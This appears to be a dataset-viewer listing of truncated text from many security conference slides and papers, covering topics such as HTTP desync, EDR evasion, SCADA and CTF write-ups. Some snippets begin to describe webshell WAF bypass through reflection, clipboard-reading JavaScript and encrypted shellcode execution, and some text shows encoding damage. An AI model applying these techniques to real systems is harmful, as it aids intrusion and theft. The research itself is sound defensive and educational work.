在UI组件⾥写⼊ <html>... | pdf |
Revealing Embedded Fingerprints:
Deriving intelligence from USB stack
interactions
Andy Davis, Research Director NCC Group
Image from: p1fran.com
UK Offices
Manchester - Head Office
Cheltenham
Edinburgh
Leatherhead
London
Thame
North American Offices
San Francisco
Atlanta
New York
Seattle
Australian O... | pdf |
YOU ARE NOT HIDING
FROM ME .NET!
FOUR THINGS ABOUT MYSELF
Netflix addict
Attack detection blogger
Threat Hunter @ Countercept
Code junkie
THE AGENDA
Detect
Why .NET ?
IN THE NOT SO DISTANT PAST
PowerShell
VBScript
Office Macros
POWERSHELL, A HOT FAVOURITE
Load shellcode
into memory
Call upon
.NET API
Call upon
na... | pdf |
Zero Bugs Found? Hold My Beer AFL! How to Improve
Coverage-guided Fuzzing and Find New Zero-days in Tough
Targets
Maksim Shudrak
Security Researcher
Salesforce
DEF CON 27
About me
●
Offensive Security Researcher at Salesforce Red Team
●
Projects:
○
EAOS: Extremely Abstract Operating System for Malware Analy... | pdf |
1
Security Advisory:
Banks Security (Web)
Militan.c7
PDF created with pdfFactory Pro trial version www.pdffactory.com
2
DEMO1
PDF created with pdfFactory Pro trial version www.pdffactory.com
3
• function focusWin()
{window.focus();
…
window.location.href =
"http://www.banksa.com.au/business/busin
ess-banking-online/us... | pdf |
Battery Firmware Hacking
Charlie Miller
Accuvant Labs
charlie.miller@accuvant.com
@0xcharlie
About me
Former US National Security Agency researcher
First to hack the iPhone and G1 Android phone
Winner of CanSecWest Pwn2Own: 2008, 2009, 2010, 2011
Author
Fuzzing for Software Security Testing and Quality
Assurance
The M... | pdf |
Mysteries of the Phone
System Past and Present
Patrick McNeil
@unregistered436
Owen
@LinuxBlog
Views and opinions are those of Patrick
& Owen and do not represent past,
present, or future employers.
All Service Marks, Trademarks, and
Copyrights belong to their respective
owners.
"Get this and get it straight…
Cr... | pdf |
mdm
0x00
mdm
0x01
apache
-> 443apache -> apachemod_mdm.so -> unixsocket -> mdmd
apachemod_mdm.somdmmdm
unixsocketmdmunix
0x02 -mod_mdm
ap_hook_handler
hook
contenttype application/x-httpd-mdm content type
index
mdm_servletsservlet
mdm_servlets
servlet
servlet por/mdm_alert.mdm
composemsgdo_mdmd_message
composem... | pdf |
Measuring*the*IQ*of*your*Threat*
Intelligence*Feeds*(#TIQtest)*
Alex%Pinto%
MLSec%Project%%
@alexcpsec%
@MLSecProject!
Kyle%Maxwell%
Researcher%
@kylemaxwell!
Alex%Pinto%
• Science%guy%at%MLSec%Project%
• ML%trainer%
• Network%security%aficionado%%
• Tortured%by%SIEMs%as%a%child%
• Hacker%Spirit%Animal™:%
CAFFEINAT... | pdf |
A
t a recent computer con-
ference, a colleague of
mine from a conservative
academic institution chatted
congenially with another con-
ference attendee. At a typical
conference such a conversa-
tion would be nothing partic-
ularly revealing, but this was DEFCON, and the
young lady he was speaking with had a stainless
s... | pdf |
1
ClassLoader的理解
前⾔
ClassLoader的特性
最后
补上上次星球⽆奖问答环节的坑。(本来北⾠师傅在星球中没改⻢甲名字，后来才知道下⾯回答的是北⾠师
傅，emmmm尴尬尴尬)
起因是⼩伙伴在hvv的过程中发现WAF会拦截Webshell中defineClass这个函数，因为反射可以把我们需
要调⽤的⽅法放到⼀个字符串的位置，就可以产⽣各种变形，所以就想通过反射来绕过。
于是乎就劈⾥啪啦写了这样⼀段代码：
然后发现第⼀次连接可以，第⼆次再刷新就会⼀直提示类重复加载的错误。
前⾔
1 Method defineClass = Class.forName("java.lang.ClassLoader").getDec... | pdf |
Exploiting and attacking seismological networks ..
Remotely
Bertin B – James jara NetDB Search Engine
DEFCON 24 Las Vegas, Nevada
Disclaimer
- This is not a typical talk
-Probably it is the first research of this kind
-All vulnerabilities have been reported to U.S CERT
-We are not responsible of the actions ... | pdf |
Free
PowerPoint
Templates
Old McDonald Had A Barcode…
E-I E-I CAR
Free
PowerPoint
Templates
RICHARD HENDERSON
DEF CON 29 – Las Vegas, NV USA – August 2021
Who Am I?
Richard:
Ham/electronics nerd, writer, infosec professional. DEF
CON trainer, contest runner.
@RichSentMe
Preface: What would happen if you
built a... | pdf |
HTTP Desync Attacks: Smashing into the Cell
Next Door
James Kettle - james.kettle@portswigger.net - @albinowax
Abstract
HTTP requests are traditionally viewed as isolated, standalone entities. In this paper, I'll explore forgotten
techniques for remote, unauthenticated attackers to smash through this isolation and spli... | pdf |
单步加解密执行shellcode
0x00 前言
国庆收假，看见这么一段代码，非常有意思。文字不太好表述代码的执行流程，如图所示：
这个图没有很多执行细节，因此并不是很准确，但是已经能够表达我的意思了。简短的说，就是 边解密
边执行 再加密，这样内存中只有很小的一部分代码是“明文”状态，其他的代码都是“密文”状态。
上图只是一个概念图，真正编写代码是细节到单条指令的，具体代码：
https://gist.github.com/jackullrich/ce3b5263e05c88548b175f4f21909384
在这段代码中，我站在新手同学角度思考，可能有以下几个地方需要理解：
typedef VOID(__stdcall* S... | pdf |
June 22, 2011
i
Copyright 2011, Electronic Grymoire LLC
:
Bruce Barnett
<deception@grymoire.com>
June 22, 2011
ii
Copyright 2011, Electronic Grymoire LLC
Contents
Introduction ................................................................................................................ 1
Similarities bet... | pdf |
SCADA安全問題
安全問題
安全問題
安全問題
你不能不知的真相
你不能不知的真相
你不能不知的真相
你不能不知的真相
國家資通安全會報 技術服務中心
洪光鈞 劉作仁 谷威涵 陳培德
101年6月29日
大綱
大綱
大綱
大綱
SCADA簡介
SCADA面臨的安全問題
SCADA軟體安全檢測
漏洞揭露與通報經驗
安全防護與挑戰
1
SCADA簡介
簡介
簡介
簡介
2
SCADA簡介
簡介
簡介
簡介
SCADA-監視控制與資料擷取系統
(Supervisory Control and Data
Acquisition)
−
屬工業控制系統(Industrial Control System
，簡稱ICS)的一部分
−
具有系統... | pdf |
@Y4tacker
GoogleCTF2022-Log4j
写在前⾯
唯⼀⼀个Java题了，挺有意思的⼀道题学到很多
题⽬附件：https://github.com/google/google-ctf/tree/master/2022/web-log4j
⾮预期分析
题⽬给了⼀个公⽹环境(题⽬似乎没有重启，能猜到不可能是RCE)以及附件压缩包，⾥⾯同时
有python以及java的环境，先简单看看python的，这⾥运⾏了web服务，将输⼊作为分割传⼊
chat函数后通过subprocess调⽤命令执⾏并返回结果，这⾥不存在命令注⼊
app = Flask(__name__)
@app.route("/", methods=['GE... | pdf |
Chrome
0x00
chrome
JS
0x01
cmd
app
1. xsssql
2.
0x02
js
<!DOCTYPE html>
<html lang="zh">
<head>
<meta
charset="UTF-8">
<meta http-equiv="X-UA-Compatible"
content="ie=edge">
<title>testclipboard</title>
</head>
<body>
<div>testclip</div>
<script>
setInterval(function(){
try {
let type = 'text/plain';
let b... | pdf |
Slide: 1
MetaPhish
Val Smith (valsmith@attackresearch.com)
Colin Ames (amesc@attackresearch.com)
David Kerb (dkerb@attackresearch.com)
Slide: 2
Bios
Valsmith
– Affiliations:
• Attack Research
• Metasploit
– Work:
• Attack Techniques Research
• Pen Tester/ Exploit developer
• Reverse Engineer
• Malware Analyst
Previous... | pdf |
撤销和规避EDRs 指南
一.简介
EDR（Endpoint Detection Responser）端点态势感知和响应，用来针对APT攻击活动。
本文属于翻译文章，原文这里:http://jackson-t.ca/edr-reversing-evading-01.html
在我翻译之时，作者仅仅给出了前三部分，后面还未上线，如果作者发表了我会第一时间跟踪并分享给
大家。
指得一提的是
1.个人语言能力较差，某处按照自己的理解难免有些画蛇添足，希望师傅们优先看原文。
2.之前了解到EDR和AV不同之处就在于EDR专门针对APT的，具体细节没去了解。因此本系列是边学边
了解。
3.如有错误，欢迎指正；以免误导他人，推荐看原文。 比如有... | pdf |
Secure Messaging
For Normal People
DEFCON 23
2
Messages
3
Threats
4
Transport Layer Security
5
End-to-End Encryption
6
End to End Server Matchmaking
7
Evil Server
8
Transitive Trust
9
Metadata Collection | pdf |
Privacy Infrastructure:
Challenges and Opportunities
by @yawnbox of @EmeraldOnion for #defcon26
https://emeraldonion.org/
Washington State nonprofit registration
June 5, 2017
$50
Washington State nonprofit date of incorporation
June 15, 2017
n/a
ARIN ASN and IPv6 (/36) registration
June 26, 2017
$1,050
IRS EIN registr... | pdf |
RADIO EXPLOITATION 101
MATT KNIGHT // MARC NEWLIN // BASTILLE NETWORKS
CHARACTERIZING//CONTEXTUALIZING//CLASSIFYING RF ATTACKS
OFFENSIVE WIRELESS
TECHNIQUES
PHY && MAC LAYERS
MOBILE
IoT
and
means
WIRELESS TECH IS
DIVERSE AND INCUMBENT
ATTACK SURFACES
GALORE
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
WHO ARE THESE ... | pdf |
_vti_fpxploitation
mshannon@fpxploiter.org
Frontpage: Laying the ground work
What is it?
● Microsoft's integrated Web Site development
tool.
● System for adding basic to advanced
functionality with little or no web page
experience.
● Integrated MS Office package
● Security Nightmare
Who is Vermeer Technologies?
● I... | pdf |
Open RazzmatazZ Laboratory (OrzLab)
Jim Huang( 黃敬群 /jserv)
Email: <jserv.tw@gmail.com>
<jserv@openmoko.org>
Blog: http://blog.linux.org.tw/jserv/
電信通訊 的自由與
安全議題
July 22, 2007
http://orzlab.blogspot.com/
自我 介紹
OpenMoko 開發者
手機 /PDA 、 Mobile TV/ 數位電視代工設計
參與自由軟體開發
新酷音輸入法
Kaffe.org / GNU Classpath
... (http://jserv.sayya.o... | pdf |
PART 01
CONTENTS
PART 02
PART 03
PART 04
01
02
03
04
PART
01
•
•
•
•
•
PART
01
Recon
Weaponiza
tion
delivery
Exploitatio
n
Installation
Command
/ Control
Action on
Objections
•
•
•
•
I
•
•
•
•
•
•
•
•
•
•
PART
02
-
• -
•
•
•
•
• >>
PART
03
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•... | pdf |
2021-9-27 Written By J0o1ey QQ/vx 547006660
如有红队/渗透测试方向培训需求、或其他业务项目可联系我
在对某 SRC 测试时，本人根据其证书信息收集到了部分深度子域，并找到了其对
应的业务 IP 段
写了个 shell 脚本+ffuf 批量 fuzz 某 src c 段资产目录
fuzz 发现了 xxSRC c 段的一个提供了 webservice 的服务器
http://180.*.*.*/webservice/
获取到接口
http://180.*.*.*/webservice/syncOrderToOdcService
使用 soup ui 进行调试
数据
<soapenv:Envel... | pdf |
遇到一个场景，当前/app路径下无法写入任何的jsp文件，但/ROOT下可以写，
但/ROOT/ 下写的无法直接Class.forName等操作/app/下的类。
测试发现tomcat的类加载器 ParallelWebappClassLoader 可获取到所有context
信息。
思路其实就是通过当前context获取到parent，也就是host，在基于host搜索其他
context，如下
this.getClass().getClassLoader().resources.context.parent.children
其实主要目的是找classloader，所以直接找到
this.getClass().getClassLo... | pdf |
How the ELF ruined
Christmas
Alessandro Di Federico
UC Santa Barbara
July 18, 2015
Index
The exploit
The dynamic loader
The attacks
RELRO
Implementation
Recap & countermeasures
The exploitation process
1 Find a useful vulnerability
2 Obtain code execution
3 Perform the desired actions
Our focus is on the last step
How ... | pdf |
Know Your Foe
Threat Infrastructure Analysis Pitfalls
Who Are We?
○ Founders of PassiveTotal
○ Analysts/researchers with 10+ years of
collective experience
○ Interested in
● Better UX/UI for security systems
● Improving/re-thinking analyst workflows
● Imparting our knowledge
#knowyourfoe | @PassiveTotal
1.
Analysis
Ba... | pdf |
OWASP TOP 10
01
OWASP Top10
A03：2021-注入
A05:2021-配置错误
API 安全痛点
02
甲方漏洞现状
编号
漏洞标题
定义
1
水平越权
对象级别的越权，通过某个遍历参数可以访问到其他对象资源
2
过度数据暴露
依赖通用方法，开发人员倾向于公开所有对象属性而不考虑其各自的敏感度，依赖客户端
在向用户显示数据前执行数据筛选，返回的数据也缺失脱敏操作
3
注入
当不受信任的数据作为命令或查询的一部分发送给解释器 时，就会出现注入缺陷，如
SQL、NoSQL、命令注入等。 攻击者的恶意数据可诱使解释器在未经恰当授权的情况下
执行非预期的命令或访问数据
4
业务安全缺陷
业务逻辑上的缺陷，主要... | pdf |
1
启元学堂REDV靶场练习
环境部署
⼯具
Start
看readme即可
X-C2
冰蝎3
webanalyzer
...
⼊⼝点：http://192.168.88.101/
环境部署
⼯具
Start
2
看下指纹，⾁眼看上去就是hexo
1 {
2 "name": "Hexo",
3 "version": "5.3.0",
3
⽬录扫描
没什么东⻄
4 "detail": "regex \"Hexo(?: v?([\\d.]+))?\" match meta[gene
rator] of http://192.168.88.101/",
5 "orig... | pdf |
HITCON Badge 2019
MCU ARM TrustZone challenge
Alan Lee , yuawn , will
About yuawn
• CTF - DoubleSigma / Balsn / BFKinesiS
• NTU - nslab
• Focus on binary exploitation
_yuawn
yuawn
Agenda
• Introduction
• HITCON Badge 2019 Challenge
• ARM TrustZone mechanism on MCU
• Exploitation
• Make TrustZone great again
Sour... | pdf |
Six$Degrees$of$Domain$Admin
Using&Graph&Theory&to&Accelerate&Red&Team&Operations
DEF&CON&24&– Las&Vegas,&NV&2016
Andy&Robbins&- @_wald0
Rohan&Vazarkar - @CptJesus
Will&Schroeder&- @harmj0y
About$Us$– Andy$Robbins
• Offensive&Network&Services&
Team&Lead&at&Veris&Group’s&
Adaptive&Threat&Division
• Red&team&and&penetrati... | pdf |
Disclaimer: This presentation is based upon personal research that was not supported
or authorized by my employer. The material being presented may be considered offensive to
those with weak hearts or those highly invested in technology funds.
Robert Stucke
bobx@rot26.net
DNS Has Been Found
To Be Hazardous To Your
Heal... | pdf |
MindAPI
最近API安全概念停⽕的，正好前⼀阵在Twitter上看到⼀个API安全的思维导图，感觉很全⾯，
在这⾥稍微总结下。
⼀、框架识别
1.API框架种类
(1) REST APIs
RESTful 、OData
(2) GraphQL
这⾥有⼀个关于GraphQL的测试项⽬
https://github.com/nicholasaleks/graphql-threat-matrix
(3) SOAP
SOAP 很熟悉了，也就是WebService，开源的Service框架有Apache CXF、以及Apache
AXIS1 2等
(4) XML-RPC
以更简单的 XML 格式传输数据,这⾥很容易联想到Apache... | pdf |
:
https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html
**
**
**
**
:include/filter.inc.php
**
**
dedecmsinclude/common.inc.php
post get cookie _RunMagicQuotes
get post globals, ,
filter.inc.php
$magic_quotes_gpcgpcaddslashes,
foreachkeymagic_quotes_gpc, return
filter.inc.php
dedec... | pdf |
Distance (m)
0
5
10
15
20
25
30
35
RSS (dBm)
-100
-90
-80
-70
-60
-50
-40
Model P = 2.0
Mean RSS
Collected RSS | pdf |
Practical Foxhunting
101
Adam Wirth - SimonJ
Overview
‣ About me
‣ About Foxhunting
‣ Equipment Overview & Selection
‣ Preparation
‣ Techniques
2
Who Am I?
‣ More than 15 years professional experience as
a software & systems engineer
‣ Most of my career has been spent working on
wireless communications & emitte... | pdf |
Quantum Computers
vs.
Computers Security
@veorq — http://aumasson.jp
Schrodinger equation
Entanglement
Bell states
EPR pairs
Wave functions
Uncertainty principle
Tensor products
Unitary matrices
Hilbert spaces
Nobody understands this stuff, and you don’t
need it to understand quantum computing
1. QC 101
2. In prac... | pdf |
Security Vulnerabilities on Online
Payment: Summary and Detection
Qing Zhang(VulpeckerTeam@Qihoo 360)
Joint work with
Guangdong Bai (Faculty Member in SIT), Ye Zhou (VulpeckerTeam@Qihoo 360)
«
01
Web 3.0时代的
安全漏洞
层出不穷的支付安全漏洞
1
Black Hat US 2016. Mendoza. Samsung Pay:
Tokenized Numbers, Flaws and Issues.
To... | pdf |
Your Car Is My Car
About me
●
Software Engineer by trade
●
Hacker by passion
●
Lock picker for fun
●
The best puzzles are not meant to be solved
●
All opinions are my own, and may not reflect those of my past, present, or
future employers
●
Twitter: @Jmaxxz
Backstory
Image Source:https://commons.wikimedia.org/wiki/Fil... | pdf |
Reverse-engineering 4G hotspots
for fun 😄, bugs 🐜 and net financial loss 💸.
Who am I?
Hardware at Pen Test Partners.
Spent a lot of time in routers and
modems for the past few years.
Did a bunch of certs & a bunch of CVEs to
prove something?
Tinkered with BitFi hacking last year.
Love to use pseudonyms.
What am I... | pdf |
Conversation with Gary Webb May 2000
Was it worth it? Yes. The CIA admitted it. I know it was the truth, and that’s what kept
me going. I knew I was right.
My eyes were wide open. I knew what I was getting into. The kids suffered. I had the
paper behind me – I thought. Support came from all sorts of places. Especiall... | pdf |
Bug Bounty on Steroids
@Hussein98D
We provide pentests! Visit WebImmunify.com
October 2022
whoami?
Bug Bounty Hunter
Security Researcher
Yahoo Elite
Intigriti 1337up0533 winner
H1-2010 Vigilante Award
H1-2010 Best Team Collaboration
BugCrowd BugBash Best Team Collaboration
+1000 vulnerabilities reported
CEO @ WebImmun... | pdf |
.NET 文件上传多个场景绕过预编译限制获取 Shell
Ivan1ee@dotNet 安全矩阵
[ dotNet 安全矩阵] —— 聚焦于微软.NET 安全技术，关注基于.NET
衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET 代码审计、
最新的.NET 漏洞分析、反序列化漏洞研究、有趣的.NET 安全
Trick、.NET 开源软件分享、. NET 生态等热点话题，愿你能在这里学
到实在的干货，共同推动.NET 安全氛围卷起来。
配套的[ dotNet 安全矩阵]知识星球优惠活动持续进行，价格直接给
到星球最低起步价[￥50] ，每天只需要 1 块钱不到，就可以让自己
从.NET 小白成为高手，因为星球里的资料和... | pdf |
arXiv:2102.09980v3 [cs.CR] 4 Mar 2022
A flow-based IDS using Machine Learning in eBPF
Maximilian Bachl, Joachim Fabini, Tanja Zseby
Technische Universit¨at Wien
firstname.lastname@tuwien.ac.at
Abstract—eBPF is a new technology which allows dynamically
loading pieces of code into the Linux kernel. It can greatly speed
u... | pdf |
O P E N S O U R C E FA I R Y D U S T
JOHN MENERICK
S E C U R I T Y
D R A G O N @
N E T S U I T E
T H E V I E W S A N D O P I N I O N S E X P R E S S E D H E R E A R E M Y O W N O N LY A N D I N N O WAY R E P R E S E N T T H E V I E W S ,
P O S I T I O N S O R O P I N I O N S - E X P R E S ... | pdf |
Securing MMOs
A Security Professional’s View From
the Inside
Who Is This Guy?
• Security industry professional
– Years writing subversive software
– Static analysis tools for C and Java
• Former Senior Software Engineer at Bioware
Mythic
• Pwned other games
• Ran Defcon CTF & Quals for 4 years as part of
Kenshoto
Wha... | pdf |
01
02
03
MS Just Gave the Blue Team Tactical Nukes
(And How Red Teams Need To Adapt)
2
IBM Security
Whoami
• @retBandit
• Red Team Ops Lead at IBM X-Force Red
• Part of CREST (crest-approved.org)
• I like mountain biking, drones, and beer
• Canadian, sorry not sorry
3
IBM Security
4
IBM Security
Tactical Nukes?
5
IBM S... | pdf |
1
strace抓取ssh登录凭证的问题
起因是在p⽜的知识星球⾥有师傅提问到这个问题：
关于https://xz.aliyun.com/t/7698⼀⽂中提到的⽤strace抓取ssh密码的⽅法。以前看到有⼈提到抓密
码可以但是抓私钥不能登录这个问题，但是也没做实验，只是简单的以为是抓取的私钥不完整之类，没有
深究。后来⼀个师傅提到这个私钥根本不是⽤来登录的，所以就研究了⼀下。
因为ssh中⽤密码登录的时候，虽然传来的请求会通过公钥加密，但是在服务端对密码有⼀个解密过程，如
下图所示。
所以在服务端是有可能抓到密码的。
为什么能抓到密码
为什么抓不到密钥
2
⽤密钥登录的时候，服务端会⽣成⼀个随机的字符串，然后⽤公钥加密这个字符串... | pdf |
Seccubus
Analyzing vulnerability assessment data the easy way…
Who am I?
Frank Breedijk
»
Security Engineer at Schuberg Philis
»
Author of Seccubus
»
Blogger for CupFigther.net
Email:
fbreedijk@schubergphilis.com
Twitter:
@Seccubus
Blog:
http://cupfighter.net
Project:
http://www.seccubus.com
Company:
http://www.schube... | pdf |
sslssh
0x00
0x01
0x02
SangforDlan
sangfor123
123456
Sangfor123
crunch 5 5 -t ^%%%% -o wordlist2.txt
cat wordlist2.txt | sed -e 's/^/admin/' > output.txt
john --wordlist=output.txt shadow
0x03
0x04 | pdf |
Why Airport Security Can’t Be Done FAST
Semon Rezchikov, Joshua Engelman, Morgan Wang
Hi, DEFCON 19!
Here, we’ve compiled an outline of a small portion of the information we found and a detailed
list of our sources in case you’re interested in reading more about the FAST program. (Or
about MALINTENT or Hostile Intent... | pdf |
Worming through IDEs
David Dworken
`whoami`
●
David Dworken (@ddworken)
●
Security Engineer at Google
○
Standard disclaimer: Opinions expressed are my own
●
Hacking in both senses of the word
○
Writing silly useless but interesting code
○
Breaking serious real code for fun
●
I found and reported 30+ bugs in IDEs over a... | pdf |
xss 修炼之-独孤九剑
香草 2020-05-31 共 170 人围观 WEB 安全编辑
缘起
群里某个同学在 xss 实战中遇到了一个地方过滤了 =() 问我怎么办？
当然这个问题很简单，我很快在脑海里想出了好几种方法。当时我当时就像着魔似的问
自己如果同时过滤 =(). 又怎么办呢？
很快又有了办法，如果同时又过滤了 =().%呢？
同时过滤 =().&#\ 呢？
…..
于是便有了这次 《xss 修炼之-独孤九剑》
我先出了第一题，也就是那个同学遇到的场景，当然每道题出来的时候我肯定需要先完
成，出题之前我也是没把握的。
<?php
$data=$_GET['data'];
$data = str_replace("=","... | pdf |
SRC
1. IP
2.
1.SSL
2.
3.Github
4.DNS
5.
SSL
12
SRC
SSL
1.censys.io
2.crt.sh
1.riskiq
2.shodan
3.findsubdomains
[]
[]
4.censys.io
5.dnsdb.io
DNS
SSLGithub
crt.shnss.a.com
Github
GET
json
fastjson
Github
github
IP
IPASIP
IP
: http://IPwhois.cnnic.net.cn/ 123.58.191.1
[IP]
IP
Netease-Network
IPNetea... | pdf |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.